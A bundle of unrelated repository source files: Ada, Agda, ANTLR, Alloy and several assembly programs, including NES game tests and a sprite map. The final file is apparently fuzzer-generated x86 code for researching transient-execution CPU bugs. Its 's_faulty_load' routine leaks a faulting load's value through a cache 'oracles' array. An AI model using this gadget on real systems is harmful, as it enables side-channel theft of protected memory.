function First_Non_Pragma (List : List_Id) return Node_Id;
-- Used when dealing with a list that can contain pragmas to skip past
-- any initial pragmas and return the first element that is not a pragma.
-- If the list is empty, or if it contains only pragmas, then Empty is
-- returned. It is an error to call First_Non_Pragma with a Node_Id value
-- or No_List (No_List is not considered to be the same as an empty list).
-- This function also skips N_Null nodes which can result from rewriting
-- unrecognized or incorrrect pragmas.
function Last (List : List_Id) return Node_Id;
pragma Inline (Last);
-- Obtains the last element of the given node list or, if the node list
-- has no items, then Empty is returned. It is an error to call Last with
-- a Node_Id or No_List. (No_List is not considered to be the same as an
-- empty node list).
function Last_Non_Pragma (List : List_Id) return Node_Id;
-- Obtains the last element of a given node list that is not a pragma.
-- If the list is empty, or if it contains only pragmas, then Empty is
-- returned. It is an error to call Last_Non_Pragma with a Node_Id or
-- No_List. (No_List is not considered to be the same as an empty list).
function List_Length (List : List_Id) return Nat;
pragma Inline (List_Length);
-- Returns number of items in the given list. It is an error to call
-- this function with No_List (No_List is not considered to be the same
-- as an empty list).
function Next (Node : Node_Id) return Node_Id;
pragma Inline (Next);
-- This function returns the next node on a node list, or Empty if Node is
-- the last element of the node list. The argument must be a member of a
-- node list.
procedure Next (Node : in out Node_Id);
pragma Inline (Next);
-- Equivalent to Node := Next (Node);
function Next_Non_Pragma (Node : Node_Id) return Node_Id;
-- This function returns the next node on a node list, skipping past any
-- pragmas, or Empty if there is no non-pragma entry left. The argument
-- must be a member of a node list. This function also skips N_Null nodes
-- which can result from rewriting unrecognized or incorrect pragmas.
procedure Next_Non_Pragma (Node : in out Node_Id);
pragma Inline (Next_Non_Pragma);
-- Equivalent to Node := Next_Non_Pragma (Node);
function Prev (Node : Node_Id) return Node_Id;
pragma Inline (Prev);
-- This function returns the previous node on a node list list, or Empty if
-- Node is the first element of the node list. The argument must be a
-- member of a node list. Note that the implementation does not maintain
-- back pointers, so this function potentially requires traversal of the
-- entire list, or more accurately of the part of the list preceding Node.
function Pick (List : List_Id; Index : Pos) return Node_Id;
-- Given a list, picks out the Index'th entry (1 = first entry). The
-- caller must ensure that Index is in range.
procedure Prev (Node : in out Node_Id);
pragma Inline (Prev);
-- Equivalent to Node := Prev (Node);
function Prev_Non_Pragma (Node : Node_Id) return Node_Id;
pragma Inline (Prev_Non_Pragma);
-- This function returns the previous node on a node list, skipping any
-- pragmas. If Node is the first element of the list, or if the only
-- elements preceding it are pragmas, then Empty is returned. The
-- argument must be a member of a node list. Like Prev, this function
-- may require expensive traversal of the head section of the list.
procedure Prev_Non_Pragma (Node : in out Node_Id);
pragma Inline (Prev_Non_Pragma);
-- Equivalent to Node := Prev_Non_Pragma (Node);
function Is_Empty_List (List : List_Id) return Boolean;
pragma Inline (Is_Empty_List);
-- This function determines if a given list id references a node list that
-- contains no items. No_List is a not a legitimate argument.
function Is_Non_Empty_List (List : List_Id) return Boolean;
pragma Inline (Is_Non_Empty_List);
-- This function determines if a given list id references a node list that
-- contains at least one item. No_List as an argument returns False.
function Is_List_Member (Node : Node_Id) return Boolean;
pragma Inline (Is_List_Member);
-- This function determines if a given node is a member of a node list.
-- It is an error for Node to be Empty, or to be a node list.
function List_Containing (Node : Node_Id) return List_Id;
pragma Inline (List_Containing);
-- This function provides a pointer to the node list containing Node.
-- Node must be a member of a node list.
procedure Append (Node : Node_Id; To : List_Id);
-- Appends Node at the end of node list To. Node must be a non-empty node
-- that is not already a member of a node list, and To must be a
-- node list. An attempt to append an error node is ignored without
-- complaint and the list is unchanged.
procedure Append_To (To : List_Id; Node : Node_Id);
pragma Inline (Append_To);
-- Like Append, but arguments are the other way round
procedure Append_List (List : List_Id; To : List_Id);
-- Appends node list List to the end of node list To. On return,
-- List is reset to be empty.
procedure Append_List_To (To : List_Id; List : List_Id);
pragma Inline (Append_List_To);
-- Like Append_List, but arguments are the other way round
procedure Insert_After (After : Node_Id; Node : Node_Id);
-- Insert Node, which must be a non-empty node that is not already a
-- member of a node list, immediately past node After, which must be a
-- node that is currently a member of a node list. An attempt to insert
-- an error node is ignored without complaint (and the list is unchanged).
procedure Insert_List_After (After : Node_Id; List : List_Id);
-- Inserts the entire contents of node list List immediately after node
-- After, which must be a member of a node list. On return, the node list
-- List is reset to be the empty node list.
procedure Insert_Before (Before : Node_Id; Node : Node_Id);
-- Insert Node, which must be a non-empty node that is not already a
-- member of a node list, immediately before Before, which must be a node
-- that is currently a member of a node list. An attempt to insert an
-- error node is ignored without complaint (and the list is unchanged).
procedure Insert_List_Before (Before : Node_Id; List : List_Id);
-- Inserts the entire contents of node list List immediately before node
-- Before, which must be a member of a node list. On return, the node list
-- List is reset to be the empty node list.
procedure Prepend (Node : Node_Id; To : List_Id);
pragma Inline (Prepend);
-- Prepends Node at the start of node list To. Node must be a non-empty
-- node that is not already a member of a node list, and To must be a
-- node list. An attempt to prepend an error node is ignored without
-- complaint and the list is unchanged.
procedure Prepend_To (To : List_Id; Node : Node_Id);
pragma Inline (Prepend_To);
-- Like Prepend, but arguments are the other way round
procedure Remove (Node : Node_Id);
-- Removes Node, which must be a node that is a member of a node list,
-- from this node list. The contents of Node are not otherwise affected.
function Remove_Head (List : List_Id) return Node_Id;
-- Removes the head element of a node list, and returns the node (whose
-- contents are not otherwise affected) as the result. If the node list
-- is empty, then Empty is returned.
function Remove_Next (Node : Node_Id) return Node_Id;
pragma Inline (Remove_Next);
-- Removes the item immediately following the given node, and returns it
-- as the result. If Node is the last element of the list, then Empty is
-- returned. Node must be a member of a list. Unlike Remove, Remove_Next
-- is fast and does not involve any list traversal.
procedure Initialize;
-- Called at the start of compilation of each new main source file to
-- initialize the allocation of the list table. Note that Initialize
-- must not be called if Tree_Read is used.
procedure Lock;
-- Called to lock tables before back end is called
procedure Tree_Read;
-- Initializes internal tables from current tree file using Tree_Read.
-- Note that Initialize should not be called if Tree_Read is used.
-- Tree_Read includes all necessary initialization.
procedure Tree_Write;
-- Writes out internal tables to current tree file using Tree_Write
function Parent (List : List_Id) return Node_Id;
pragma Inline (Parent);
-- Node lists may have a parent in the same way as a node. The function
-- accesses the Parent value, which is either Empty when a list header
-- is first created, or the value that has been set by Set_Parent.
procedure Set_Parent (List : List_Id; Node : Node_Id);
pragma Inline (Set_Parent);
-- Sets the parent field of the given list to reference the given node
function No (List : List_Id) return Boolean;
pragma Inline (No);
-- Tests given Id for equality with No_List. This allows notations like
-- "if No (Statements)" as opposed to "if Statements = No_List".
function Present (List : List_Id) return Boolean;
pragma Inline (Present);
-- Tests given Id for inequality with No_List. This allows notations like
-- "if Present (Statements)" as opposed to "if Statements /= No_List".
procedure Allocate_List_Tables (N : Node_Id);
-- Called when nodes table is expanded to include node N. This call
-- makes sure that list structures internal to Nlists are adjusted
-- appropriately to reflect this increase in the size of the nodes table.
function Next_Node_Address return System.Address;
function Prev_Node_Address return System.Address;
-- These functions return the addresses of the Next_Node and Prev_Node
-- tables (used in Back_End for Gigi).
procedure Delete_List (L : List_Id);
-- Removes all elements of the given list, and calls Delete_Tree on each
function p (U : Union_Id) return Node_Id;
-- This function is intended for use from the debugger, it determines
-- whether U is a Node_Id or List_Id, and calls the appropriate Parent
-- function and returns the parent Node in either case. This is shorter
-- to type, and avoids the overloading problem of using Parent. It
-- should NEVER be used except from the debugger. If p is called with
-- other than a node or list id value, it returns 99_999_999.
end Nlists;
|
src/test.adb | jpuente/Temperature_Sensor | 0 | 26399 | <gh_stars>0
-- test mqtt connection
with MQTT_Clients; use MQTT_Clients;
with GNAT.Sockets; use GNAT.Sockets;
with GNAT.Sockets.MQTT; use GNAT.Sockets.MQTT;
with GNAT.Sockets.Server; use GNAT.Sockets.Server;
with GNAT.Sockets.Server.Handles; use GNAT.Sockets.Server.Handles;
with Ada.Real_Time; use Ada.Real_time;
with System.IO; use System.IO;
with GNAT.Exception_Traces;
procedure Test is
Server_Name : constant String := "xxxZZ.dit.upm.es";
Client_Name : constant String := "b318";
Port : constant GNAT.Sockets.Port_Type := 1883;
QoS : QoS_Level := Exactly_Once;
Topic_Text : constant String := "test/temperature";
Message_text : constant String := "this is a test";
Factory : aliased Connections_Factory;
Server : aliased Connections_Server (Factory'Access, 0);
Reference : Handle;
begin
GNAT.Exception_Traces.Trace_On (GNAT.Exception_Traces.Every_Raise);
Set (Reference,
new MQTT_Client (Listener => Server'Unchecked_Access,
Input_Size => 80,
Output_Size => 80,
Max_Subscribe_Topics => 20));
declare
Client : MQTT_Client renames MQTT_Client (Ptr (Reference).all);
begin
-- connect to server
System.IO.Put_Line("Connect to " & Server_Name & ":" & Port'Img);
Connect (Server,
Client'Unchecked_Access,
Server_Name,
Port);
-- wait for actual connection
System.IO.Put_Line("Wait for connection");
while not Is_Connected (Client) loop -- busy waiting
--pragma Debug(System.IO.Put("."));
delay until Clock + Milliseconds(100);
end loop;
delay until Clock+Milliseconds(1000);
if Is_Connected(Client) then
System.IO.Put_Line("Connected");
else
System.IO.Put_Line("Not connected");
end if;
end;
end Test;
|
agda/BHeap/Height.agda | bgbianchi/sorting | 6 | 1975 | <reponame>bgbianchi/sorting
open import Relation.Binary.Core
module BHeap.Height {A : Set}
(_≤_ : A → A → Set)
(tot≤ : Total _≤_) where
open import Bound.Lower A
open import Bound.Lower.Order _≤_
open import BHeap _≤_
open import BHeap.Properties _≤_
open import Data.Nat renaming (_≤_ to _≤ₙ_)
open import Data.Nat.Properties
open import Data.Sum
open import Relation.Binary
open import Relation.Binary.PropositionalEquality hiding (trans)
open DecTotalOrder decTotalOrder hiding (refl)
theorem-height-merge : {b : Bound}{x : A}(b≤x : LeB b (val x))(l r : BHeap (val x)) → height (merge tot≤ l r) ≤ₙ height (nd b≤x l r)
theorem-height-merge _ lf r = ≤-step (reflexive refl)
theorem-height-merge _ l lf rewrite lemma-merge-lf tot≤ l
with total (height l) zero
... | inj₁ hl≤0 rewrite antisym hl≤0 z≤n = ≤-step (reflexive refl)
... | inj₂ 0≤hl = ≤-step (reflexive refl)
theorem-height-merge b≤x (nd {x = y} x≤y l r) (nd {x = y'} x≤y' l' r')
with tot≤ y y' | total (height (nd x≤y l r)) (height (nd x≤y' l' r'))
... | inj₁ y≤y' | inj₁ hylr≤hy'l'r'
with total (height (merge tot≤ l r)) (height (nd (lexy y≤y') l' r'))
... | inj₁ hmlr≤hy'l'r' = reflexive refl
... | inj₂ hy'l'r'≤hmlr rewrite antisym (trans (theorem-height-merge x≤y l r) hylr≤hy'l'r') hy'l'r'≤hmlr = reflexive refl
theorem-height-merge b≤x (nd {x = y} x≤y l r) (nd {x = y'} x≤y' l' r') | inj₁ y≤y' | inj₂ hy'l'r'≤hylr
with total (height (merge tot≤ l r)) (height (nd (lexy y≤y') l' r'))
... | inj₁ hmlr≤hy'l'r' = s≤s hy'l'r'≤hylr
... | inj₂ hy'l'r'≤hmlr = s≤s (theorem-height-merge x≤y l r)
theorem-height-merge b≤x (nd {x = y} x≤y l r) (nd {x = y'} x≤y' l' r') | inj₂ y'≤y | inj₁ hylr≤hy'l'r'
with total (height (nd (lexy y'≤y) l r)) (height (merge tot≤ l' r'))
... | inj₁ hylr≤hml'r' = s≤s (theorem-height-merge x≤y' l' r')
... | inj₂ hml'r'≤hylr = s≤s hylr≤hy'l'r'
theorem-height-merge b≤x (nd {x = y} x≤y l r) (nd {x = y'} x≤y' l' r') | inj₂ y'≤y | inj₂ hy'l'r'≤hylr
with total (height (nd (lexy y'≤y) l r)) (height (merge tot≤ l' r'))
... | inj₁ hylr≤hml'r' rewrite antisym (trans (theorem-height-merge x≤y' l' r') hy'l'r'≤hylr) hylr≤hml'r' = reflexive refl
... | inj₂ hml'r'≤hylr = reflexive refl
|
General/Sprites/Shields/Map - Shield S2.asm | NatsumiFox/AMPS-Sonic-3-Knuckles | 5 | 99775 | <filename>General/Sprites/Shields/Map - Shield S2.asm
dc.w word_177CE-Map_Shield_S2
dc.w word_177E8-Map_Shield_S2
dc.w word_17802-Map_Shield_S2
dc.w word_1781C-Map_Shield_S2
dc.w word_17836-Map_Shield_S2
dc.w word_17850-Map_Shield_S2
word_177CE: dc.w 4
dc.b $F0, 5, 0, 0, $FF, $F0
dc.b $F0, 5, 8, 0, 0, 0
dc.b 0, 5, $10, 0, $FF, $F0
dc.b 0, 5, $18, 0, 0, 0
word_177E8: dc.w 4
dc.b $F0, 5, 0, 4, $FF, $F0
dc.b $F0, 5, 8, 4, 0, 0
dc.b 0, 5, $10, 4, $FF, $F0
dc.b 0, 5, $18, 4, 0, 0
word_17802: dc.w 4
dc.b $F0, 5, 0, 8, $FF, $F0
dc.b $F0, 5, 8, 8, 0, 0
dc.b 0, 5, $10, 8, $FF, $F0
dc.b 0, 5, $18, 8, 0, 0
word_1781C: dc.w 4
dc.b $F0, 5, 0, $C, $FF, $F0
dc.b $F0, 5, 8, $C, 0, 0
dc.b 0, 5, $10, $C, $FF, $F0
dc.b 0, 5, $18, $C, 0, 0
word_17836: dc.w 4
dc.b $F0, 5, 0, $10, $FF, $F0
dc.b $F0, 5, 8, $10, 0, 0
dc.b 0, 5, $10, $10, $FF, $F0
dc.b 0, 5, $18, $10, 0, 0
word_17850: dc.w 4
dc.b $E0, $B, 0, $14, $FF, $E8
dc.b $E0, $B, 8, $14, 0, 0
dc.b 0, $B, $10, $14, $FF, $E8
dc.b 0, $B, $18, $14, 0, 0
|
src/tests.asm | hundredrabbits/Donsol | 113 | 82570 |
;; Tests
run@tests: ; [skip]
LDA #$43
STA count@tests
JSR potion@tests
JSR sickness@tests
JSR shield@tests
JSR attack@tests
JSR death@tests
JSR testAttackShieldBlock
JSR testAttackShieldOverflow
JSR testAttackShieldOverflowDeath
JSR break@tests
JSR testAttackShieldBreakDeath
JSR reset@player
RTS
;;
pass@tests: ;
BIT PPUSTATUS ; read PPU status to reset the high/low latch
LDA #$20
STA PPUADDR ; write the high byte
LDA count@tests
STA PPUADDR ; write the low byte
LDA #$6A
STA PPUDATA
LDA #$00 ; No background scrolling
STA PPUSCROLL
STA PPUSCROLL
INC count@tests
RTS
;;
fail@tests: ;
LDX count@tests
BIT PPUSTATUS ; read PPU status to reset the high/low latch
LDA #$20
STA PPUADDR ; write the high byte
LDA count@tests
STA PPUADDR ; write the low byte
LDA #$6B
STA PPUDATA
LDA #$00 ; No background scrolling
STA PPUSCROLL
STA PPUSCROLL
INC count@tests
RTS
;; Drink 3hp | Shield is 0sp | Health is 21hp
potion@tests: ;
JSR reset@player
; take some dammage
LDA #$10
STA hp@player
; pick
LDY #$02 ; Hearts 3
JSR pickCard@deck
; test health
LDA hp@player
CMP #$13 ; health = $13(18)
BNE @fail
; pass
JSR pass@tests
RTS
@fail: ;
JSR fail@tests
RTS
;; Drink 5hp | Drink 6hp | Shield is 0sp | Health is 9hp
sickness@tests: ;
JSR reset@player
; take some dammage
LDA #$04
STA hp@player
; drink two potions
LDY #$04 ; Hearts 5
JSR pickCard@deck
LDY #$05 ; Hearts 6
JSR pickCard@deck
; test health
LDA hp@player
CMP #$09 ; health = $09(09)[4hp + 5hp]
BNE @fail
; test sickness
LDA sickness@player
CMP #$01 ; sickness = true
BNE @fail
; pass
JSR pass@tests
RTS
@fail: ;
JSR fail@tests
RTS
;; Equip 2sp | Shield is 2sp | Health is 21hp
shield@tests: ;
JSR reset@player
; pick
LDY #$0E ; Diamonds 2
JSR pickCard@deck
; test health
LDA sp@player
CMP #$02 ; shield = $02(02)
BNE @fail
; pass
JSR pass@tests
RTS
@fail: ;
JSR fail@tests
RTS
;; Attack 6ap | Loose 6hp | Shield is 0sp | Health is 15hp
attack@tests: ;
JSR reset@player
; pick
LDY #$1F ; Spades 6
JSR pickCard@deck
; test health
LDA hp@player
CMP #$0F ; shield = $0f(15)
BNE @fail
; pass
JSR pass@tests
RTS
@fail: ;
JSR fail@tests
RTS
;; Attack 6ap | Loose 6hp | Shield is 0sp | Health is 0hp
death@tests: ;
JSR reset@player
; Lower health
LDA #$04
STA hp@player
; pick
LDY #$1F ; Spades 6
JSR pickCard@deck
; test health
LDA hp@player
CMP #$00 ; health = $00(00)
BNE @fail
; pass
JSR pass@tests
RTS
@fail: ;
JSR fail@tests
RTS
;; Equip 6sp | Attack 4ap | Loose 0hp | Shield is 6dp | Health is 18hp
testAttackShieldBlock: ;
JSR reset@player
; pick
LDY #$12 ; Diamond 6
JSR pickCard@deck
LDY #$1D ; Spades 4
JSR pickCard@deck
; loose 3hp
LDA hp@player
CMP #$15
BNE @fail
; shield durability 6
LDA dp@player
CMP #$04
BNE @fail
; pass
JSR pass@tests
RTS
@fail: ;
JSR fail@tests
RTS
;; Equip 3sp | Attack 6ap | Loose 3hp | Shield is 6dp | Health is 18hp
testAttackShieldOverflow: ;
JSR reset@player
; pick
LDY #$0F ; Diamond 3
JSR pickCard@deck
LDY #$1F ; Spades 6
JSR pickCard@deck
; loose 3hp
LDA hp@player
CMP #$12
BNE @fail
; shield durability 6
LDA dp@player
CMP #$06
BNE @fail
; pass
JSR pass@tests
RTS
@fail: ;
JSR fail@tests
RTS
;; Equip 3sp | Attack 6ap | Loose 3hp | Shield is 6dp | Health is 18hp
testAttackShieldOverflowDeath: ;
JSR reset@player
; Lower health
LDA #$02
STA hp@player
; pick
LDY #$0F ; Diamond 3
JSR pickCard@deck
LDY #$1F ; Spades 6
JSR pickCard@deck
; loose 3hp
LDA hp@player
CMP #$00
BNE @fail
; shield durability 6
LDA dp@player
CMP #$06
BNE @fail
; pass
JSR pass@tests
RTS
@fail: ;
JSR fail@tests
RTS
;; Equip 4sp | Attack 3ap | Loose 0hp | Attack 4ap | Shield breaks | Loose 4hp | Shield is 0dp | Health is 17hp
break@tests: ;
JSR reset@player
; pick
LDY #$10 ; Diamond 4
JSR pickCard@deck
LDY #$1C ; Spades 3
JSR pickCard@deck
LDY #$1D ; Spades 4
JSR pickCard@deck
; loose 4hp
LDA hp@player
CMP #$11
BNE @fail
; shield durability 0
LDA dp@player
CMP #$00
BNE @fail
; shield 0
LDA sp@player
CMP #$00
BNE @fail
; pass
JSR pass@tests
RTS
@fail: ;
JSR fail@tests
RTS
;; Equip 4sp | Attack 3ap | Loose 0hp | Attack 4ap | Shield breaks | Loose 4hp | Shield is 0dp | Health is 17hp
testAttackShieldBreakDeath: ;
JSR reset@player
; Lower health
LDA #$02
STA hp@player
; pick
LDY #$10 ; Diamond 4
JSR pickCard@deck
LDY #$1C ; Spades 3
JSR pickCard@deck
LDY #$1D ; Spades 4
JSR pickCard@deck
; loose 4hp
LDA hp@player
CMP #$00
BNE @fail
; shield durability 0
LDA dp@player
CMP #$00
BNE @fail
; shield 0
LDA sp@player
CMP #$00
BNE @fail
; pass
JSR pass@tests
RTS
@fail: ;
JSR fail@tests
RTS |
thms.agda | rfindler/ial | 29 | 8966 | module thms where
open import bool-thms public
open import bool-thms2 public
open import list-thms public
open import list-thms2 public
open import maybe-thms public
open import product-thms public
open import string-thms public
open import sum-thms public
open import nat-thms public
open import trie-thms public |
programs/oeis/007/A007585.asm | karttu/loda | 0 | 18268 | <reponame>karttu/loda
; A007585: 10-gonal (or decagonal) pyramidal numbers: a(n) = n*(n + 1)*(8*n - 5)/6.
; 0,1,11,38,90,175,301,476,708,1005,1375,1826,2366,3003,3745,4600,5576,6681,7923,9310,10850,12551,14421,16468,18700,21125,23751,26586,29638,32915,36425,40176,44176,48433,52955,57750,62826,68191,73853,79820,86100,92701,99631,106898,114510,122475,130801,139496,148568,158025,167875,178126,188786,199863,211365,223300,235676,248501,261783,275530,289750,304451,319641,335328,351520,368225,385451,403206,421498,440335,459725,479676,500196,521293,542975,565250,588126,611611,635713,660440,685800,711801,738451,765758,793730,822375,851701,881716,912428,943845,975975,1008826,1042406,1076723,1111785,1147600,1184176,1221521,1259643,1298550,1338250,1378751,1420061,1462188,1505140,1548925,1593551,1639026,1685358,1732555,1780625,1829576,1879416,1930153,1981795,2034350,2087826,2142231,2197573,2253860,2311100,2369301,2428471,2488618,2549750,2611875,2675001,2739136,2804288,2870465,2937675,3005926,3075226,3145583,3217005,3289500,3363076,3437741,3513503,3590370,3668350,3747451,3827681,3909048,3991560,4075225,4160051,4246046,4333218,4421575,4511125,4601876,4693836,4787013,4881415,4977050,5073926,5172051,5271433,5372080,5474000,5577201,5681691,5787478,5894570,6002975,6112701,6223756,6336148,6449885,6564975,6681426,6799246,6918443,7039025,7161000,7284376,7409161,7535363,7662990,7792050,7922551,8054501,8187908,8322780,8459125,8596951,8736266,8877078,9019395,9163225,9308576,9455456,9603873,9753835,9905350,10058426,10213071,10369293,10527100,10686500,10847501,11010111,11174338,11340190,11507675,11676801,11847576,12020008,12194105,12369875,12547326,12726466,12907303,13089845,13274100,13460076,13647781,13837223,14028410,14221350,14416051,14612521,14810768,15010800,15212625,15416251,15621686,15828938,16038015,16248925,16461676,16676276,16892733,17111055,17331250,17553326,17777291,18003153,18230920,18460600,18692201,18925731,19161198,19398610,19637975,19879301,20122596,20367868,20615125
mov $2,$0
lpb $2,1
add $3,$0
add $0,5
add $1,$3
sub $2,1
lpe
|
src/main/antlr/ExpresionesParser.g4 | rrva/expresiones | 0 | 6478 | <filename>src/main/antlr/ExpresionesParser.g4
parser grammar ExpresionesParser;
options {
tokenVocab=ExpresionesLexer;
}
root : expression EOF;
expression
:
'(' expression ')' # ParenExpression
| left=expression '[].' right=expression # AnyMemberExpression
| left=expression '.' right=expression # MemberExpression
| left=expression ' in ' right=expression # InExpression
| left=expression '[' right=expression ']' # IndexExpression
| left=expression '<' right=expression # LessThanExpression
| left=expression '>' right=expression # GreaterThanExpression
| left=expression '<=' right=expression # LessThanOrEqualsExpression
| left=expression '>=' right=expression # GreaterThanOrEqualsExpression
| left=expression '==' right=expression # EqualsExpression
| left=expression '!=' right=expression # NotEqualsExpression
| left=expression '&&' right=expression # BooleanAndExpression
| left=expression '||' right=expression # BooleanOrExpression
| '!' expression # LogicalNotExpression
| 'true' # BooleanLiteralExpression
| 'false' # BooleanLiteralExpression
| Identifier # IdentifierExpression
| StringLiteral # StringLiteralExpression
| StringLiteralQuoted # StringLiteralQuotedExpression
| IntegerLiteral # IntegerLiteralExpression
| DecimalLiteral # DecimalLiteralExpression
; |
sp/src/public/tier0/pointeroverride.asm | tingtom/Fodder | 14 | 179180 | <reponame>tingtom/Fodder
.model flat, C
.data
__imp__EncodePointer@4 dd dummy
__imp__DecodePointer@4 dd dummy
EXTERNDEF __imp__EncodePointer@4 : DWORD
EXTERNDEF __imp__DecodePointer@4 : DWORD
.code
dummy proc
mov eax, [esp+4]
ret 4
dummy endp
end
|
alloy4fun_models/trainstlt/models/14/nYbPR4WmdicYGYq55.als | Kaixi26/org.alloytools.alloy | 0 | 1122 | open main
pred idnYbPR4WmdicYGYq55_prop15 {
all t:Train | always one t.pos implies eventually (t.pos)' != t.pos
}
pred __repair { idnYbPR4WmdicYGYq55_prop15 }
check __repair { idnYbPR4WmdicYGYq55_prop15 <=> prop15o } |
libsrc/_DEVELOPMENT/math/float/am9511/c/sdcc/cam32_sdcc___sint2fs_callee.asm | ahjelm/z88dk | 640 | 15483 |
SECTION code_fp_am9511
PUBLIC cam32_sdcc___sint2fs_callee
EXTERN asm_am9511_float16
.cam32_sdcc___sint2fs_callee
pop bc ;return
pop hl ;value
push bc
jp asm_am9511_float16
|
src/my_main.adb | thierr26/gnatdoc_test | 0 | 13809 | <gh_stars>0
with My_Package;
with My_Generic_Package;
with Ada.Text_IO; use Ada.Text_IO;
procedure My_Main is
N : constant Positive := 15;
T : My_Package.My_Implementation;
A : My_Package.Arr := (1 => 10, 2 => 10, 3 => 10);
package P is new My_Generic_Package
(Index_Type => Positive,
Element_Type => Natural,
Array_Type => My_Package.Arr);
begin
if My_Package.My_Function (A) then
Put_Line ("All elements in A are equal.");
else
Put_Line ("All elements in A are not equal.");
end if;
if P.Is_Flat (A) then
Put_Line ("Flat array.");
else
Put_Line ("Non flat array.");
end if;
if P.Is_Monotone (A) then
Put_Line ("Monotonic array.");
else
Put_Line ("Non Monotonic array.");
end if;
Put_Line ("");
Put_Line (Positive'Image (N) & " first fibonacci numbers:");
for K in 1 .. N loop
Put_Line (" " & Integer'Image (K) & ": "
& My_Package.Count'Image (T.My_Primitive));
end loop;
end My_Main;
|
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca.log_21829_253.asm | ljhsiun2/medusa | 9 | 86895 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x1b44c, %rsi
lea addresses_WC_ht+0x1a310, %rdi
nop
nop
nop
nop
sub $10118, %r14
mov $118, %rcx
rep movsw
and $9859, %rbp
lea addresses_A_ht+0x9740, %rsi
lea addresses_normal_ht+0x6aa4, %rdi
nop
nop
nop
nop
and %r11, %r11
mov $120, %rcx
rep movsq
nop
nop
nop
xor $18423, %rbp
lea addresses_WT_ht+0xebb4, %r14
cmp $14402, %r9
mov $0x6162636465666768, %rbp
movq %rbp, %xmm6
movups %xmm6, (%r14)
nop
nop
inc %rcx
lea addresses_UC_ht+0x458c, %rsi
lea addresses_D_ht+0x1784c, %rdi
nop
nop
nop
nop
sub %rdx, %rdx
mov $105, %rcx
rep movsl
nop
nop
nop
xor $24916, %r11
lea addresses_WT_ht+0x1cf2c, %rsi
lea addresses_UC_ht+0x137cc, %rdi
nop
nop
nop
nop
xor %r14, %r14
mov $59, %rcx
rep movsq
and %rcx, %rcx
lea addresses_WC_ht+0x584c, %rdi
nop
cmp $13468, %rdx
mov $0x6162636465666768, %r14
movq %r14, %xmm2
movups %xmm2, (%rdi)
nop
nop
dec %rcx
lea addresses_D_ht+0x134c, %rdi
nop
nop
nop
and $34214, %r14
mov $0x6162636465666768, %rsi
movq %rsi, (%rdi)
sub %rcx, %rcx
lea addresses_A_ht+0x1504c, %r14
add %rbp, %rbp
mov $0x6162636465666768, %rdi
movq %rdi, %xmm4
movups %xmm4, (%r14)
nop
nop
nop
and %rbp, %rbp
lea addresses_WC_ht+0x896c, %rsi
lea addresses_WT_ht+0xf5b8, %rdi
nop
nop
nop
nop
nop
add $42497, %rbp
mov $83, %rcx
rep movsl
nop
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_A_ht+0x1774c, %rsi
lea addresses_normal_ht+0x1b31c, %rdi
nop
nop
dec %r11
mov $117, %rcx
rep movsl
xor %rcx, %rcx
lea addresses_A_ht+0xc44c, %rsi
lea addresses_UC_ht+0x40ac, %rdi
add $29497, %r14
mov $59, %rcx
rep movsw
add $64436, %r11
lea addresses_WT_ht+0xbd0c, %rcx
nop
nop
nop
nop
nop
and $60092, %r14
vmovups (%rcx), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %r9
nop
and $61633, %rsi
lea addresses_WT_ht+0xad4c, %r14
nop
mfence
mov $0x6162636465666768, %rbp
movq %rbp, %xmm7
vmovups %ymm7, (%r14)
nop
nop
add %rdi, %rdi
lea addresses_D_ht+0xde0c, %rsi
lea addresses_UC_ht+0xbc4c, %rdi
clflush (%rsi)
nop
sub %r11, %r11
mov $62, %rcx
rep movsl
nop
nop
nop
nop
nop
and $55402, %r9
lea addresses_normal_ht+0xaf4c, %rcx
nop
xor %rbp, %rbp
mov (%rcx), %dx
nop
nop
nop
nop
cmp %rdx, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %rcx
push %rdi
push %rsi
// Store
mov $0x5962000000001cc, %r14
nop
nop
nop
nop
nop
sub %rsi, %rsi
movl $0x51525354, (%r14)
nop
nop
nop
nop
nop
xor %r11, %r11
// Faulty Load
lea addresses_UC+0x544c, %r10
nop
nop
nop
nop
nop
sub $60981, %rcx
vmovntdqa (%r10), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %rdi
lea oracles, %r10
and $0xff, %rdi
shlq $12, %rdi
mov (%r10,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rcx
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 3}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': True, 'type': 'addresses_UC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 1}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 9}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 2}, 'dst': {'same': True, 'type': 'addresses_UC_ht', 'congruent': 6}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
